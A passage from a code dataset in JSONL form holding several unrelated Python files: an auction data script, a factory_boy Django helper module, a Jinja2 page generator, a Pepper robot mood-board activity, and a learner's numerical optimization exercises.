low_rel_high,\n 'high_estimate': get_estimates(lot_df_i)[1],\n 'num_bids': num_uniq_bids(lot_df_i),\n })\n \n return output_dicts\n\ndef rem_duplicat_dicts(dicts):\n unique_auctionID_lots = np.unique([d['auctionID_lot'] for d in dicts])\n output = []\n for x in unique_auctionID_lots:\n those_xs = [d for d in dicts if d['auctionID_lot']==x]\n max_n = max([d['n'] for d in those_xs])\n corr_x = [d for d in those_xs if d['n']==max_n][0]\n output+= [corr_x]\n return output\n\n# # remove dicts where highest bid is same as second highest bid.\n# def rem_b1sameb2(dicts): \n# out = []\n# for d in dicts:\n# if d['1']!=d['2']:\n# out += [d]\n# return out\n\n\n\nout_dicts = make_output_dicts(data)\nout_dicts = rem_duplicat_dicts(out_dicts)\n# out_dicts = rem_b1sameb2(out_dicts)\nprint(len(out_dicts))\nprint(out_dicts[:10])\n\npickle.dump(out_dicts, open('out_dicts_ALL.p', 'wb'))","repo_name":"BruceWen98/haile_tamer_replication","sub_path":"combined_data/data_to_dicts.py","file_name":"data_to_dicts.py","file_ext":"py","file_size_in_byte":5590,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"19682935699","text":"from __future__ import absolute_import\nfrom __future__ import unicode_literals\n\nimport os\nimport types\nimport logging\nimport functools\n\n\"\"\"factory_boy extensions for use with the Django framework.\"\"\"\n\ntry:\n from django.core import files as django_files\nexcept ImportError as e: # pragma: no cover\n django_files = None\n import_failure = e\n\n\nfrom . import base\nfrom . import declarations\nfrom .compat import BytesIO, is_string\n\nlogger = logging.getLogger('factory.generate')\n\n\n\ndef require_django():\n \"\"\"Simple helper to ensure Django is available.\"\"\"\n if django_files is None: # pragma: no cover\n raise import_failure\n\n\nclass DjangoOptions(base.FactoryOptions):\n def _build_default_options(self):\n return super(DjangoOptions, self)._build_default_options() + [\n base.OptionDefault('django_get_or_create', (), inherit=True),\n ]\n\n def _get_counter_reference(self):\n counter_reference = super(DjangoOptions, self)._get_counter_reference()\n if (counter_reference == self.base_factory\n and self.base_factory._meta.model is not None\n and self.base_factory._meta.model._meta.abstract\n and self.model is not None\n and not self.model._meta.abstract):\n # Target factory is for an abstract model, yet we're for another,\n # concrete subclass => don't reuse the counter.\n return self.factory\n return counter_reference\n\n\nclass DjangoModelFactory(base.Factory):\n \"\"\"Factory for Django models.\n\n This makes sure that the 'sequence' field of created objects is a new id.\n\n Possible improvement: define a new 'attribute' type, AutoField, which would\n handle those for non-numerical primary keys.\n \"\"\"\n\n _options_class = DjangoOptions\n class Meta:\n abstract = True # Optional, but explicit.\n\n _OLDSTYLE_ATTRIBUTES = base.Factory._OLDSTYLE_ATTRIBUTES.copy()\n _OLDSTYLE_ATTRIBUTES.update({\n 'FACTORY_DJANGO_GET_OR_CREATE': 'django_get_or_create',\n })\n\n @classmethod\n def _load_model_class(cls, definition):\n\n if is_string(definition) and '.' in definition:\n app, model = definition.split('.', 1)\n from django.db.models import loading as django_loading\n return django_loading.get_model(app, model)\n\n return definition\n\n @classmethod\n def _get_manager(cls, model_class):\n if model_class is None:\n raise base.AssociatedClassError(\"No model set on %s.%s.Meta\"\n % (cls.__module__, cls.__name__))\n try:\n return model_class._default_manager # pylint: disable=W0212\n except AttributeError:\n return model_class.objects\n\n @classmethod\n def _setup_next_sequence(cls):\n \"\"\"Compute the next available PK, based on the 'pk' database field.\"\"\"\n\n model = cls._get_model_class() # pylint: disable=E1101\n manager = cls._get_manager(model)\n\n try:\n return 1 + manager.values_list('pk', flat=True\n ).order_by('-pk')[0]\n except (IndexError, TypeError):\n # IndexError: No instance exist yet\n # TypeError: pk isn't an integer type\n return 1\n\n @classmethod\n def _get_or_create(cls, model_class, *args, **kwargs):\n \"\"\"Create an instance of the model through objects.get_or_create.\"\"\"\n manager = cls._get_manager(model_class)\n\n assert 'defaults' not in cls._meta.django_get_or_create, (\n \"'defaults' is a reserved keyword for get_or_create \"\n \"(in %s._meta.django_get_or_create=%r)\"\n % (cls, cls._meta.django_get_or_create))\n\n key_fields = {}\n for field in cls._meta.django_get_or_create:\n key_fields[field] = kwargs.pop(field)\n key_fields['defaults'] = kwargs\n\n obj, _created = manager.get_or_create(*args, **key_fields)\n return obj\n\n @classmethod\n def _create(cls, model_class, *args, **kwargs):\n \"\"\"Create an instance of the model, and save it to the database.\"\"\"\n manager = cls._get_manager(model_class)\n\n if cls._meta.django_get_or_create:\n return cls._get_or_create(model_class, *args, **kwargs)\n\n return manager.create(*args, **kwargs)\n\n @classmethod\n def _after_postgeneration(cls, obj, create, results=None):\n \"\"\"Save again the instance if creating and at least one hook ran.\"\"\"\n if create and results:\n # Some post-generation hooks ran, and may have modified us.\n obj.save()\n\n\nclass FileField(declarations.PostGenerationDeclaration):\n \"\"\"Helper to fill in django.db.models.FileField from a Factory.\"\"\"\n\n DEFAULT_FILENAME = 'example.dat'\n\n def __init__(self, **defaults):\n require_django()\n self.defaults = defaults\n super(FileField, self).__init__()\n\n def _make_data(self, params):\n \"\"\"Create data for the field.\"\"\"\n return params.get('data', b'')\n\n def _make_content(self, extraction_context):\n path = ''\n params = dict(self.defaults)\n params.update(extraction_context.extra)\n\n if params.get('from_path') and params.get('from_file'):\n raise ValueError(\n \"At most one argument from 'from_file' and 'from_path' should \"\n \"be non-empty when calling factory.django.FileField.\"\n )\n\n if extraction_context.did_extract:\n # Should be a django.core.files.File\n content = extraction_context.value\n path = content.name\n\n elif params.get('from_path'):\n path = params['from_path']\n f = open(path, 'rb')\n content = django_files.File(f, name=path)\n\n elif params.get('from_file'):\n f = params['from_file']\n content = django_files.File(f)\n path = content.name\n\n else:\n data = self._make_data(params)\n content = django_files.base.ContentFile(data)\n\n if path:\n default_filename = os.path.basename(path)\n else:\n default_filename = self.DEFAULT_FILENAME\n\n filename = params.get('filename', default_filename)\n return filename, content\n\n def call(self, obj, create, extraction_context):\n \"\"\"Fill in the field.\"\"\"\n if extraction_context.did_extract and extraction_context.value is None:\n # User passed an empty value, don't fill\n return\n\n filename, content = self._make_content(extraction_context)\n field_file = getattr(obj, extraction_context.for_field)\n try:\n field_file.save(filename, content, save=create)\n finally:\n content.file.close()\n return field_file\n\n\nclass ImageField(FileField):\n DEFAULT_FILENAME = 'example.jpg'\n\n def _make_data(self, params):\n # ImageField (both django's and factory_boy's) require PIL.\n # Try to import it along one of its known installation paths.\n try:\n from PIL import Image\n except ImportError:\n import Image\n\n width = params.get('width', 100)\n height = params.get('height', width)\n color = params.get('color', 'blue')\n image_format = params.get('format', 'JPEG')\n\n thumb = Image.new('RGB', (width, height), color)\n thumb_io = BytesIO()\n thumb.save(thumb_io, format=image_format)\n return thumb_io.getvalue()\n\n\nclass mute_signals(object):\n \"\"\"Temporarily disables and then restores any django signals.\n\n Args:\n *signals (django.dispatch.dispatcher.Signal): any django signals\n\n Examples:\n with mute_signals(pre_init):\n user = UserFactory.build()\n ...\n\n @mute_signals(pre_save, post_save)\n class UserFactory(factory.Factory):\n ...\n\n @mute_signals(post_save)\n def generate_users():\n UserFactory.create_batch(10)\n \"\"\"\n\n def __init__(self, *signals):\n self.signals = signals\n self.paused = {}\n\n def __enter__(self):\n for signal in self.signals:\n logger.debug('mute_signals: Disabling signal handlers %r',\n signal.receivers)\n\n self.paused[signal] = signal.receivers\n signal.receivers = []\n\n def __exit__(self, exc_type, exc_value, traceback):\n for signal, receivers in self.paused.items():\n logger.debug('mute_signals: Restoring signal handlers %r',\n receivers)\n\n signal.receivers = receivers\n self.paused = {}\n\n def __call__(self, callable_obj):\n if isinstance(callable_obj, base.FactoryMetaClass):\n # Retrieve __func__, the *actual* callable object.\n generate_method = callable_obj._generate.__func__\n\n @classmethod\n @functools.wraps(generate_method)\n def wrapped_generate(*args, **kwargs):\n with self:\n return generate_method(*args, **kwargs)\n\n callable_obj._generate = wrapped_generate\n return callable_obj\n\n else:\n @functools.wraps(callable_obj)\n def wrapper(*args, **kwargs):\n with self:\n return callable_obj(*args, **kwargs)\n return wrapper\n\n","repo_name":"chengdg/Lib","sub_path":"site-packages/factory/django.py","file_name":"django.py","file_ext":"py","file_size_in_byte":9337,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"50"} +{"seq_id":"44515969324","text":"#! /usr/bin/env python3\n\nfrom jinja2 import Environment, FileSystemLoader\nimport yaml\n\n\nenv = Environment( loader = FileSystemLoader(\".\"))\ntemplate = env.get_template('template.j2')\n\nwith open(\"data.yaml\",\"rb\") as fh:\n data = yaml.safe_load(fh)\n\ndata = sorted(data, key=lambda x : x[\"name\"].lower())\n\nwith open(\"dist/index.html\", 'w') as fh:\n fh.write(template.render(data = data))\n\nprint(\"Done\")\n","repo_name":"fleaz/report-phishing","sub_path":"generate.py","file_name":"generate.py","file_ext":"py","file_size_in_byte":403,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"50"} +{"seq_id":"39178681112","text":"import logging\n\nfrom csv_logging import create_csv_logger\n\nlogger = logging.getLogger(\"robots.activities.moodboard\")\nmood_logger = create_csv_logger(\"logs/moods.csv\") \n\nimport json\nimport time\nimport random\n\nfrom constants import *\nfrom dialogues import *\nfrom events import Event\n\nfrom activities.activity import Activity, action_logger\n\nclass MoodBoardActivity(Activity):\n\n type = MOODBOARD\n\n MOODS_ACTIVITIES = {\n ALL: [\n CALM_DANCES, \n CALM_MUSIC, \n CUDDLE,\n FUN_DANCES, \n JOKES, \n LISTENING, \n RELAX_SOUNDS, \n #ROCK_SCISSOR_PAPER, \n STORY, \n ],\n SAD: [STORY, CALM_DANCES, CALM_MUSIC, RELAX_SOUNDS, LISTENING, CUDDLE, JOKES],\n #HAPPY: [JOKES, FUN_DANCES, STORY, ROCK_SCISSOR_PAPER],\n HAPPY: [JOKES, FUN_DANCES, STORY, LISTENING],\n CONFUSED: [STORY, CALM_DANCES, CALM_MUSIC, RELAX_SOUNDS, CUDDLE, LISTENING],\n ANGRY: [STORY, CALM_DANCES, CALM_MUSIC, RELAX_SOUNDS, LISTENING, CUDDLE],\n }\n\n def __init__(self):\n super(MoodBoardActivity, self).__init__()\n\n self.activities_done = []\n self.original_event = Event()\n self.mood = UNKNOWN\n\n def make_activity_sentences(self, activities, add_all_link=True):\n\n if len(activities) > 4:\n self.robot.tablet.smallSize()\n else:\n self.robot.tablet.largeSize()\n\n res = []\n lastverb = None\n for verb, activity, option in [ACTIVITIES_DIALOGUES[a] for a in activities]:\n if not lastverb or lastverb != verb:\n if verb == \"listen\":\n lastverb = verb\n if len(res) == 0:\n res.append(\"%s Would you like to listen to %s\\\\pau=300\\\\\" % (option, activity))\n else:\n res.append(\"%s Or do you feel like listening to %s\\\\pau=300\\\\\" % (option, activity))\n elif verb == \"do\":\n lastverb = verb\n if len(res) == 0:\n res.append(\"%s Do you want me to do %s\\\\pau=300\\\\\" % (option, activity))\n else:\n res.append(\"%s Or I could do %s\\\\pau=300\\\\\" % (option, activity))\n else:\n lastverb = None\n if len(res) == 0:\n res.append(\"%s Do you want me to %s\\\\pau=300\\\\\" % (option, activity))\n else:\n res.append(\"%s Or I could %s\\\\pau=300\\\\\" % (option, activity))\n\n else:\n res.append(\"%s or %s\" % (option, activity))\n\n if add_all_link:\n res.append('\\\\option={\"id\":\"%s\",\"img\":\"images/apps.svg\",\"label\": \"\",\"footer\":true}\\\\' % ALL)\n\n return res\n\n def moods(self):\n\n options = [\n {\"id\": ALL, \"img\": \"images/arrow.svg\", \"label\": \"\", \"footer\": True}\n ]\n \n\n self.robot.tablet.clearAll()\n self.robot.tablet.showMoodBoard()\n self.robot.tablet.setOptions(options)\n\n def is_multiparty(self):\n return self.original_event is not None and self.original_event.nb_children > 3\n\n def start(self, robot, cmd_queue, event=None, continuation=False):\n \"\"\"\n continuation: if True, means that mood-board is re-started at the\n end of another activity.\n \"\"\"\n super(MoodBoardActivity, self).start(robot, cmd_queue)\n\n if not continuation:\n\n self.mood = UNKNOWN\n self.activities_done = []\n self.original_event = event\n\n self._behaviour = self.run()\n\n else:\n self._behaviour = self.continuation_run()\n\n logger.warning(\"Starting a %s interaction\" % self.original_event.type)\n\n def run(self):\n\n ####################################################################\n ### ASK FOR MOOD\n\n self.robot.tablet.clearAll()\n\n if self.is_multiparty(): # skip mood selection\n self.robot.say(get_dialogue(\"multiparty_prompt\")).wait()\n yield RUNNING\n self.mood = UNKNOWN\n else:\n self.moods()\n self.robot.say(get_dialogue(\"mood_prompt\")).wait()\n yield RUNNING\n\n\n ####################################################################\n ### WAIT FOR THE CHILD TO CHOOSE AN OPTION\n\n logger.info(\"Waiting for mood...\")\n\n while self.response_queue.empty():\n yield RUNNING\n self.mood = self.response_queue.get()[\"id\"].encode()\n if self.mood == ALL:\n self.mood = UNKNOWN\n\n logger.info(\"Got mood: %s\" % self.mood)\n self.robot.tablet.debug(\"Got mood: %s\" % self.mood)\n\n ####################################################################\n ### PROMPT 'let do smthg'\n\n try:\n if self.mood != UNKNOWN:\n self.robot.say(random.choice(MOODS_FEEDBACK[self.mood])).wait()\n yield RUNNING\n except KeyError:\n logger.error(\"Got unexpected mood: %s. Returning to default activity.\" % self.mood) \n yield INTERRUPTED\n\n self.robot.say(get_dialogue(\"mood_prompt_activities\")).wait()\n yield RUNNING\n\n ####################################################################\n ### OFFER ACTIVITIES BASED ON MOOD\n\n self.robot.tablet.clearAll()\n\n if self.mood != UNKNOWN:\n activities = random.sample(self.MOODS_ACTIVITIES[self.mood],\n random.randint(2,3))\n sentences = self.make_activity_sentences(activities, add_all_link=True)\n else:\n activities = random.sample(self.MOODS_ACTIVITIES[ALL], 8)\n sentences = self.make_activity_sentences(activities, add_all_link=False)\n\n\n while True:\n logger.info(\"Offering the following activities: %s\" % activities)\n\n for s in sentences:\n self.robot.say(s).wait()\n if not self.response_queue.empty(): \n break\n yield RUNNING\n\n\n ####################################################################\n ### WAIT FOR THE CHILD TO CHOOSE AN OPTION\n\n logger.info(\"Waiting for action selection...\")\n\n while self.response_queue.empty(): \n yield RUNNING\n \n action = self.response_queue.get()[\"id\"]\n\n logger.info(\"Got action: %s\" % action)\n self.robot.tablet.debug(\"Got action: %s\" % action)\n\n if action == ALL:\n self.robot.tablet.clearAll()\n self.robot.say(get_dialogue(\"mood_all_activities\")).wait()\n yield RUNNING\n activities = random.sample(self.MOODS_ACTIVITIES[ALL], 8)\n sentences = self.make_activity_sentences(activities, add_all_link=False)\n else:\n break\n\n self.activities_done.append(action)\n action_logger.info((action, self.mood))\n self.cmd_queue.put((Event.PEPPER_TABLET, ACTIVITY, action))\n\n def continuation_run(self):\n\n self.robot.tablet.clearAll()\n self.robot.tablet.yesNoBtns()\n self.robot.say(get_dialogue(\"mood_prompt_continuation\")).wait()\n\n while self.response_queue.empty():\n yield RUNNING\n want_continue = self.response_queue.get()[\"id\"].encode()\n\n\n if want_continue == YES:\n logger.debug(\"Child wants to continue\")\n\n ####################################################################\n ### PROMPT 'let do smthg'\n\n self.robot.say(get_dialogue(\"mood_prompt_activities\")).wait()\n yield RUNNING\n\n ####################################################################\n ### OFFER ACTIVITIES BASED ON MOOD\n\n self.robot.tablet.clearAll()\n\n if self.mood != UNKNOWN:\n activities = random.sample(self.MOODS_ACTIVITIES[self.mood], random.randint(2,3))\n sentences = self.make_activity_sentences(activities, add_all_link=True)\n else:\n activities = random.sample(self.MOODS_ACTIVITIES[ALL], 8)\n sentences = self.make_activity_sentences(activities, add_all_link=False)\n\n\n while True:\n logger.info(\"Offering the following activities: %s\" % activities)\n\n for s in sentences:\n self.robot.say(s).wait()\n if not self.response_queue.empty(): \n break\n yield RUNNING\n\n\n ####################################################################\n ### WAIT FOR THE CHILD TO CHOOSE AN OPTION\n\n logger.info(\"Waiting for action selection...\")\n\n while self.response_queue.empty(): \n yield RUNNING\n \n action = self.response_queue.get()[\"id\"]\n\n logger.info(\"Got action: %s\" % action)\n self.robot.tablet.debug(\"Got action: %s\" % action)\n\n if action == ALL:\n self.robot.tablet.clearAll()\n self.robot.say(get_dialogue(\"mood_all_activities\")).wait()\n yield RUNNING\n activities = random.sample(self.MOODS_ACTIVITIES[ALL], 8)\n sentences = self.make_activity_sentences(activities, add_all_link=False)\n else:\n break\n\n\n self.activities_done.append(action)\n action_logger.info((action, self.mood))\n self.cmd_queue.put((Event.PEPPER_TABLET, ACTIVITY, action))\n\n else:\n logger.debug(\"Child does not want to continue\")\n\n if self.is_multiparty():\n final_mood = UNKNOWN\n\n else:\n ####################################################################\n ### ASK FOR MOOD\n\n self.robot.say(get_dialogue(\"mood_end\")).wait()\n self.robot.tablet.clearAll()\n self.moods()\n yield RUNNING\n\n ####################################################################\n ### WAIT FOR THE CHILD TO CHOOSE AN OPTION\n\n logger.info(\"Waiting for final mood...\")\n\n while self.response_queue.empty():\n yield RUNNING\n\n final_mood = self.response_queue.get()[\"id\"].encode()\n if final_mood == ALL:\n final_mood = UNKNOWN\n\n logger.info(\"Got final mood: %s\" % final_mood)\n\n mood_logger.info((self.original_event.nb_children, \n self.mood, \n final_mood, \n self.activities_done,\n FINISHED))\n\n if final_mood != UNKNOWN:\n self.robot.say(random.choice(FINAL_MOODS_FEEDBACK[final_mood])).wait()\n else:\n self.robot.say(get_dialogue(\"multiparty_end\")).wait()\n\n self.robot.tablet.clearAll()\n self.cmd_queue.put((Event.PEPPER_TABLET, ACTIVITY, DEFAULT))\n\n def on_no_one_engaged(self, evt):\n mood_logger.info((self.original_event.nb_children, \n self.mood, \n UNKNOWN, \n self.activities_done,\n evt.type))\n\n return super(MoodBoardActivity, self).on_no_one_engaged(evt)\n\n def on_no_interaction(self, evt):\n mood_logger.info((self.original_event.nb_children, \n self.mood, \n UNKNOWN, \n self.activities_done,\n evt.type))\n\n return super(MoodBoardActivity, self).on_no_interaction(evt)\n\n def on_interrupted(self, evt):\n mood_logger.info((self.original_event.nb_children, \n self.mood, \n UNKNOWN, \n self.activities_done,\n evt.type))\n\n return super(MoodBoardActivity, self).on_interrupted(evt)\n\n\nmood_board_activity = MoodBoardActivity()\n\ndef get_activity():\n return mood_board_activity\n\n","repo_name":"severin-lemaignan/robots4sen-supervisor","sub_path":"activities/mood_board/activity.py","file_name":"activity.py","file_ext":"py","file_size_in_byte":12508,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"25056541571","text":"# Optimization Course\n#\n# Author: Lukas Gröninger\n\n# Required libraries\nimport pandas as np\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport math\nimport random\n\n# Chapter 1.2 vectors\nold_loc = np.array([6, -3])\nscalar = 2.5\nnew_vec = np.array([0, 0])\nnew_loc = np.array([5, -1])\n\nnew_loc = old_loc + scalar * new_vec\n\nscalar = (new_loc - old_loc) / new_vec\n\n# Practice Problem 4\nnew_loc + (1/3) * (new_loc - old_loc)\n\n# Chapter 1.3 Iteration and recursion\n\n# Iteration example\n\n# If a number is even, divide it by 2, \n# if it is odd, multiply by 3 and add 1\n\nn = 325\nn_iterations = 0\n\nwhile n > 1:\n if n % 2 == 0:\n n = n/2\n else:\n n = n*3 + 1\n n_iterations += 1\n \n# Fibonacci Series\n# 1, 1, 2, 3, 5, 8, 13\n\n# Define starting values (in this case 1, 1)\na = 2\nb = 5\nc = 0\nvector = [a,b]\n\nwhile len(vector) < 10:\n c = a + b\n vector.append(c)\n a = b\n b = c\n\n# Extended Fibonacci\na = 2\nb = 5\nc = 4\nd = 0\nvector = [a,b,c]\n\nwhile len(vector) < 10:\n d = a * b - c\n vector.append(d)\n a = b\n b = c\n c = d\n\n# Chapter 1.4 iteration and recursion\nx = 4\n\ny = x**3 - (15*x) + 12\n\na = np.array([3,-6])\nb = np.array([4,16])\n\n(b[1]-a[1])/(b[0]-a[0])\n\n# Import fsolve of scipy\nfrom scipy.optimize import fsolve\n\ndef f(x):\n return -x**3 + 4 * x**2 + 7\n \nz = fsolve(f,2)\n\n# Chapter 1.5 iteration and recursion\n\n# Practice Problem 1\n# Given function f(x)\n# Input x, x+h, x-h\n\n# a\nx = 4\nh = 0.1\n\ndef f(x):\n return x**2 + 3\n\ny1 = f(x)\ny2 = f(x+h)\ny3 = f(x-h)\n\n# b\nx = 2\nh = 1\n\ndef f(x):\n return 2*x**3 - 4 * x**2 + 17\n\ny1 = f(x)\ny2 = f(x+h)\ny3 = f(x-h)\n\n# Practice Problem 2\n# Find a minimum\nx = 0\nh = 0.6\nminimum = False\n\ndef f(x):\n return x**2 - 4 * x\n\nwhile minimum != True:\n y1 = f(x)\n y2 = f(x+h)\n y3 = f(x-h)\n\n if y2 == min(y1, y2, y3):\n x += h\n elif y3 == min(y1, y2, y3):\n x -= h\n else:\n minimum = True\n print(\"A (local) minimum has been found\")\n\n# Practice Problem 3\n# Find a maximum\n\nx = 0\nh = 3\nmaximum = False\n\ndef f(x):\n return x**3 - 10 * x**2 - 400 * x + 400\n \nwhile maximum != True:\n y1 = f(x)\n y2 = f(x+h)\n y3 = f(x-h)\n\n if y2 == max(y1, y2, y3):\n x += h\n elif y3 == max(y1, y2, y3):\n x -= h\n else:\n maximum = True\n print(\"A (local) maximum has been found\")\n\n h = h*0.8\n\n# It really depends on how you initialize x and h\n\n# 1.6 Julia Basics\n# Practice Problem \n# Write a function that takes a point (a, b)\n# and gives information about this point\n\na = 2\nb = 5\n\ndef info(a, b):\n slope = b/a\n length = (b**2 + a**2)**0.5\n print(\"This point has the slope:\")\n print(slope)\n print(\"This point has the length:\")\n print(length)\n\ninfo(a,b)\n\n# Chapter 1.10\n# Final Problem\n# Define function to find root\n# f(x) = m*x + b\n# x = (f(x) - b) / m\na = 2\nb = 3\n\ndef f(x):\n return x**2 - 4 * x\n\ndef secant(a,b):\n while abs(a-b) > 0.1:\n\n m = (f(a) - f(b)) / (b-a)\n x = (f(a) - a) / m\n a = b\n b = x\n\n print(b)\n\nsecant(a, b)\n\n\n# Chapter 2\n\n# 2.2 Take the problem from chapter 1 and extend it a little\n\n# Define the function to test \ndef f(x):\n return x**2 - 3 * x + 5\n\ndef find_minimum(f, x = 0, h = 0.1):\n counter = 0\n # Decide the direction\n # Test if the function is decreasing\n if (f(x) < f(x+h)):\n # If not, change direction\n h = -h\n\n while (f(x+h) < f(x)):\n x = x + h\n counter += 1\n h *= 1.01\n\n # Print the points to test the code\n print(\"x-h = \", round(x-h, 2), \"f(x-h) = \", round(f(x-h), 2))\n print(\"x = \", round(x, 2), \"f(x) = \", round(f(x), 2))\n print(\"x+h = \", round(x+h, 2),\"f(x+h) = \", round(f(x+h), 2))\n print(\"Number of iterations: \", counter)\n\nfind_minimum(f, x = -12, h = 0.01)\n\n# Chapter 2.3\n# Find the brute force minimum\n\n# Take an interval of a - b and a step size h\n# plug in the values and report the lowest value\n\na = 0\nb = 2\nh = 0.001\n\ndef find_min_brute(f, a, b, h):\n for i in np.arange(a, b, h):\n low = f(i)\n if (f(i+h) < low):\n lowest_value = low\n x_position = i\n print(\"Minimum at x = \", x_position, \"with value of:\", lowest_value)\n\n \nfind_min_brute(f, a = -3, b = 3, h = 0.001)\n\n\n# Chapter 2.4\n# Golden Ratio\n\n# Practice Problem\n\n# Start with: Two end points of an interval\n# End when certain tolerance is reached – probably the width of the interval is less than ____, or f(var) < ___.\n# Divide the interval into three sections by the golden ratio. Choose the section that forms a V (interior point lower than endpoints).\n# Using the new endpoints/interval, loop back to step 3.\n\n# Endpoints\na = -2\nb = 3\n\ndef goldenrule_min(f, a, b, epsilon = 0.01):\n # Golden Number phi\n phi = (-1+(5)**(1/2))/2 \n\n int = b - a\n\n while int > epsilon:\n subdiv = phi * int\n lefttest = b - subdiv\n righttest = a + subdiv\n\n if f(lefttest) < f(righttest):\n b = righttest\n else:\n a = lefttest\n \n int = b - a\n\n# Chapter 2.5 Slope Method\n\n# f is still the same\ndef f(x):\n return x**2 - 3 * x + 5\n\n# Plot the function\n# 100 linearly spaced numbers\nx = np.linspace(-np.pi,np.pi,100)\n# setting the axes at the centre\nfig = plt.figure()\nax = fig.add_subplot(1, 1, 1)\n# plot the functions\nplt.plot(x,f(x), 'c', label='x**2 - 3 * x + 5')\nplt.legend(loc='upper left')\n# show the plot\nplt.show()\n\n# So we know that between -3 and 3 there is a minimum\n# We define an error term\n\ndef slope_min(f, a, b, error = 0.01):\n\n interval = b - a\n \n while interval >= error:\n # Calculation of a slope\n m = (f(b) - f(a)) / interval\n \n if m >= 0:\n b = b - (interval/3)\n else:\n a = a + (interval/3)\n \n interval = b - a\n print(a, b)\n\nslope_min(f, a = -2, b = 3)\n# Chapter 2.6\n# Now its about finding a maximum\n\n# Define the function to test \ndef f(x):\n return -0.05 * x**2\n\n# Plot the function\n# 100 linearly spaced numbers\nx = np.linspace(-200,200,10000)\n# setting the axes at the centre\nfig = plt.figure()\nax = fig.add_subplot(1, 1, 1)\n# plot the functions\nplt.plot(x,f(x), 'c', label='-0.05 * x**2')\nplt.legend(loc='upper left')\n# show the plot\nplt.show()\n\ndef find_maximum(f, x = 2, h = 0.1):\n counter = 0\n # Decide the direction\n # Test if the function is decreasing\n if (f(x) > f(x+h)):\n # If yes switch direction\n h = -h\n\n while (f(x+h) > f(x)):\n x = x + h\n counter += 1\n h *= 1.01\n\n # Print the points to test the code\n print(\"x-h = \", round(x-h, 2), \"f(x-h) = \", round(f(x-h), 2))\n print(\"x = \", round(x, 2), \"f(x) = \", round(f(x), 2))\n print(\"x+h = \", round(x+h, 2),\"f(x+h) = \", round(f(x+h), 2))\n print(\"Number of iterations: \", counter)\n\nfind_maximum(f, x = 2, h = 0.01)\n\n# Golden section maximum program\n\n# Endpoints\na = -4\nb = 3\n\ndef goldenrule_max(f, a, b, epsilon = 0.01):\n # Golden Number phi 0.618\n phi = (-1+(5)**(1/2))/2 \n int = b - a\n\n while int > epsilon:\n subdiv = phi * int\n lefttest = b - subdiv\n righttest = a + subdiv\n\n if f(lefttest) < f(righttest):\n a = lefttest\n else:\n b = righttest\n \n int = b - a\n print(lefttest, righttest)\n\ngoldenrule_max(f, a, b)\n\n# Slope Max funtion\n\ndef slope_max(f, a, b, error = 0.01):\n\n interval = b - a\n \n while interval >= error:\n # Calculation of a slope\n m = (f(b) - f(a)) / interval\n \n if m <= 0:\n b = b - (interval/3)\n else:\n a = a + (interval/3)\n \n interval = b - a\n print(a, b)\n\nslope_max(f, a = -2, b = 3)\n\n# Chapter 2.7 Global\n# \n# Write Function that checks y values up to a point\n# Still the same test function\n\ndef f(x):\n return -0.05 * x**2\n\ndef checky_values(f):\n \n x = 0\n x_pos = 0\n x_neg = 0\n \n while (f(x) < 1000000 and f(x) > -1000000):\n x += 2\n x_pos = x\n x = 0\n while (f(x) < 1000000 and f(x) > -1000000):\n x += -2\n x_neg = x\n return [x_pos, x_neg]\n \nchecky_values(f) \n\n# Find a global minimum\n# y = x4 + 35x3 – 1062x2 – 8336x + 47840, \n# given that the global minimum is somewhere between -200 and 200.\n\n# Define Function\ndef f(x):\n return x**4 + 35 * x**3 - 1062 * x**2 - 8336*x + 47840\n\n# Function to return the interval\ndef find_minimum_interval(f, x = 0, h = 0.1):\n counter = 0\n # Decide the direction\n # Test if the function is decreasing\n if (f(x) < f(x+h)):\n # If not, change direction\n h = -h\n\n while (f(x+h) < f(x)):\n x = x + h\n counter += 1\n h *= 1.01\n \n return [x-h, x+h]\n\n# Function to find the minimum\ndef slope_min(f, a, b, error = 0.001):\n interval = b - a\n\n while interval >= error:\n # Calculation of a slope\n m = (f(b) - f(a)) / interval\n \n if m >= 0:\n b = b - (interval/3)\n else:\n a = a + (interval/3)\n \n interval = b - a\n return b\n\n# Putting it together\ndef brute_global_min(f, a, b):\n \n sections = np.linspace(a, b, 50)\n results = []\n for i in sections:\n results.append(f(i))\n \n start_value = sections[np.argmin(results)]\n \n min_interval = find_minimum_interval(f, x = start_value)\n \n return slope_min(f, min_interval[0], min_interval[1])\n \nbrute_global_min(f, -200, 200)\n\n# Chapter 2.8 Sawtooth method\n\n# y - y1 = m(x - x1) \n# y - y2 = -m(x - x2)\n\ndef sawtooth(x1,y1,x2,y2):\n \n m = 450 # Define max slope\n ycross = m*(x1 + x2)/2 - ((y1-y2)/2) - m*x1 + y1\n xcross = (ycross - y1)/m + x1\n \n return [xcross, ycross]\n\nsawtooth(x1 = -5, y1 = 75, x2 = 1, y2 = 183)\n\n# Chapter 2.10\n# Going into 3D\n\n# Practice Problems\ndef f(x1,x2):\n return (x1 +x2)**2 + (math.sin(x1 +2))**2 + (x2)**2 + 10\n\ndef return_low_value(f, x1, x2, step = 0.1):\n \n found_center = False\n while found_center == False:\n test_points = np.array([[x1,x2],[x1 + step,x2],\n [x1 - step,x2], [x1,x2 + step],\n [x1,x2 - step]])\n results = []\n for i in test_points:\n results.append(f(i[0],i[1]))\n \n x1 = test_points[np.argmin(results)][0]\n x2 = test_points[np.argmin(results)][1]\n \n if np.argmin(results) == 0:\n found_center = True\n \n return test_points[np.argmin(results)]\n \n \nreturn_low_value(f, 3, 5) \n \n\n# Practice Problem 5 Grid Search\n# x1 from -3 to 3, x2 from -2 to 5\n\ndef f(x1,x2):\n return 100*(a-b)**2 + (1-b)**2\n\na = -3\nb = 3\nc = -2\nd = 5\n\ndef grid_search(f, a, b, c, d):\n \n x1 = np.linspace(a,b,6)\n x2 = np.linspace(c,d,6)\n # Define startvalue\n smallest = f(x1[0],x2[0])\n \n for i in x1:\n for j in x2:\n test = f(i, j)\n if test < smallest:\n smallest = test\n small_x = [i, j]\n \n return small_x\n\ngrid_search(f, a, b, c, d)\n\n# Chapter 2.11\n# Implement Hooke-Jeeves algorithm\n\n# Sieht nicht sonderlich schön aus...\n# und es ist auch nicht so wie im Kurs\ndef f(x1,x2):\n return (x1-3)**2 + (x2+1)**2\n\ndef 